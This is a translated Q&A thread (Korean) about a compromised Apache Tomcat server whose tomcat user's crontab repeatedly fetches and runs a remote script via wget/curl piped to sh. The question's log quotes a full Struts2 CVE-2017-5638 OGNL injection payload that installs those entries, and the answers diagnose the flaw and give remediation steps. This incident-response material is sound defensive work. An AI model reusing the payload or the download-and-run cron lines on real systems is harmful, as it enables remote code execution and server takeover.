출처를 알 수없는 크론을 통해 Apache 서버에 대한 쉘 스크립트 공격


8

Apache Tomcat 서버에서 프로젝트 전쟁을 실행하는 동안 서버가 손상되었음을 알았습니다.

알 수없는 전쟁을 실행하는 동안 cron다음과 같이 실행

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

다운로드 된이 logo.jpg악성 코드를 다운로드하는 쉘 스크립트를 가지고있다.

아래 웹 사이트에서 비슷한 문제를 발견했습니다

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

/security/160068/kworker34-malware-on-linux

전체 코드에서이 cron 스케줄러의 출처를 찾을 수 없습니다.

누구 든지이 문제에 직면했다는 것을 알고 싶습니다. 코드에서 스케줄러의 출처를 찾는 방법은 무엇입니까?

노트 :

JAVA (Struts 2) + jsp + javascript + jquery 웹 프로젝트를 작업 중입니다.

이 스케줄러는 프로젝트의 war 파일로 Tomcat을 시작할 때마다 실행되지만 코드에서 스케줄러에 대한 스케줄러를 찾을 수 없습니다.

로그 파일 에서 다음 줄을 찾았습니다

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

기본 Tomcat 로그인을 변경하고 호스트 관리자를 비활성화 했습니까?

이 두 crontab 항목 (cron 작업) 또는 cron 스케줄러 (때로는 cron 데몬)의 출처를 의미합니까? Java 애플리케이션에서 프로세스 또는 쉘 스크립트를 생성 Runtime.getRuntime().exec("something")합니까 (예 :)? 프로젝트에 대한 링크가 있습니까?
Jan Zerebecki 2016 년

감염된 Java 앱없이 Tomcat을 시작하면 Cron이 활성화되어 있습니까?

바람둥이는 어떻게 시작합니까? 앱을 어떻게 배포하고 있습니까? (GUI, 스크립팅 또는 webapps에서 .war 파일 복사 만 하시겠습니까?

응용 프로그램의 로그를 추가했습니다. 이 문제와 관련하여 생각할 수있는 사항이 있으면 언제든지 알려주세요.

답변:


4

OP가 로그를 추가 한 후에는 Struts 2의 원격 코드 실행 악용 ( CVE-2017-5638 )에 문제가 있음이 분명해졌습니다 .

추가 링크 :

  1. 새로운 Struts2 Remote Code Execution 익스플로잇 공격이 발생했습니다 .
  2. CVE-2017-5638-Apache Struts2 S2-045 .

해결책은 Struts를 버전 2.3.32 또는 2.5.10.1로 업그레이드하는 것입니다.


답변 해 주셔서 감사하지만 'logo.jpg'및 '91 .230.47.40 '과 같은 키워드에 대한 코드가 이미 있는지 확인했습니다. 응용 프로그램의 로그를 추가했습니다. 이 문제와 관련하여 생각할 수있는 사항이 있으면 언제든지 알려주세요.

2

sysadmin을 사용하기 전에 비슷한 문제에 직면했습니다. Tomcat 서버 또는 Java 앱인지 구별해야한다고 생각합니다.

"감염된 Java 앱"없이 Tomcat을 시작하면 크론이 활성화됩니까? (즉, Tomcat에서 응용 프로그램을 삭제하고 시작하는 경우 ) 더 큰 문제가 발생하면 시작 스크립트와 Tomcat 서버에 배포 된 모든 응용 프로그램을 확인해야합니다.

그렇지 않으면 우리는 당신의 앱이 문제라고 확신합니다.

이 경우 다음으로 이동하십시오.

$CATALINA_BASE/webapps/your_app 

응용 프로그램의 무결성을 확인하십시오. 인식 할 수없는 추가 파일이 있습니까?

이제 Tomcat 설치의 webapps 디렉토리로 이동하십시오.

$CATALINA_BASE/webapps/

해당 디렉토리에서 다음을 수행하십시오.

grep -R '91.230.47.40' *

감염의 원인이 될 수있는 파일 / 코드 라인을 찾으려면 앱 파일이거나 새 파일 일 수 있습니다.

CSV 시스템에 코드가 있습니까?

CSV 저장소에서 감염된 서버 외부에 war 파일을 빌드하고 다음을 수행하십시오.

md5sum your_app.war

Tomcat 서버에서 응용 프로그램을 제거하고 다시 배포하고 md5를 통해 올바른 전쟁을 업로드하고 있는지 확인한 다음 crontab이 호출되는지 확인하십시오.

이 단계에 대한 의견을 보내 주시면 기꺼이 도와 드리겠습니다.


1
'logo.jpg'및 '91 .230.47.40 '과 같은 키워드에 대한 코드를 이미 확인했지만 해당 항목이 없지만 Tomcat이 아닌 응용 프로그램에 문제가 있습니다. 응용 프로그램의 로그를 추가했습니다. 이 문제와 관련하여 생각할 수있는 사항이 있으면 언제든지 알려주세요.

2

우리는 서버에서 이런 종류의 공격에 맞서 싸워야했으며 위에서 설명한 것처럼 Tomcat 사용자의 crontab 덮어 쓰기를 계속 다시 시작했습니다. IP 주소가 동일했습니다. IP 주소에 대한 전체 webapps 디렉토리의 grep은 범인을 밝히지 않았습니다.

우리의 경우 스트럿을 사용하지 않지만 webapps에 "host-manager"및 "manager"앱이 있으며 JMX를 활성화 / 포트가 열려 있습니다. 그것들없이 다시 시작하면 해결 된 것처럼 보이므로 제 생각에는 취약점이 그 중 하나 일 수 있습니다. 특히 7.0.73에서 해결 된 JMX 취약점이 원인 일 수 있습니다 ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

우리가 지금 취하는 또 다른 예방책은 wget 및 chmod에 대한 액세스를 루트로만 제한하는 것입니다 (이 바이너리에서 chmod 770 만 수행하십시오).

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.